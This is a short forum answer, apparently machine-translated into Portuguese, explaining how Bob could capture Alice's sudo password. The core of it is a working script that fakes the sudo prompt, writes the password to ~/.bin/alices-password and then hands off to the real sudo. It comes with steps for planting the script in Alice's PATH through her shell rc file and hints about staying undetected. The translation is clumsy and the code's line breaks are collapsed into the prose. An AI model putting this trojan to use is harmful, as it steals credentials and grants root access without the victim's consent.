No passado, isso teria sido possível sem a ajuda de Alice, pois os tokens de sudo eram válidos nas sessões de terminal: Bob poderia apenas esperar que Alice autenticasse com sudo , então use sudo sem precisar insira uma senha.
Mesmo com tokens por terminal, a obtenção da senha de Alice é relativamente fácil no cenário descrito aqui, contanto que Alice não verifique seu ambiente completamente o tempo todo:
-
usando a conta de Alice, crie
~/.bin/sudocom algo como#!/bin/sh if [ $# = 0 ]; then exec /usr/bin/sudo; fi if [ ! -f ~/.bin/alices-password ]; then echo -n "[sudo] password for $USER: " read -s password echo echo ${password} > ~/.bin/alices-password sleep 2 echo "Sorry, try again." /usr/bin/sudo -k fi exec /usr/bin/sudo "$@" -
adicione
~/.binao caminho, no arquivo rc apropriado, dependendo de qual shell o Alice usa; - espere Alice usar
sudoem um shell que percebeu a presença de~/.bin/sudo...
Bob pode esperar que uma senha apareça em ~/.bin/alices-password e tente ela mesma antes de desativar a variante especial (fazer isso de maneira discreta é deixado como um exercício para o leitor - lembre-se de que o shell armazena em cache caminhos ...) .
Existem algumas sutilezas no script acima, em particular sudo -k , que garante que "Desculpe, tente novamente" será seguido por sudo solicitando uma senha. O roteiro pode ser melhorado ainda mais, isso é outro exercício para o leitor!
Como você pode imaginar, essa não é a única abordagem ...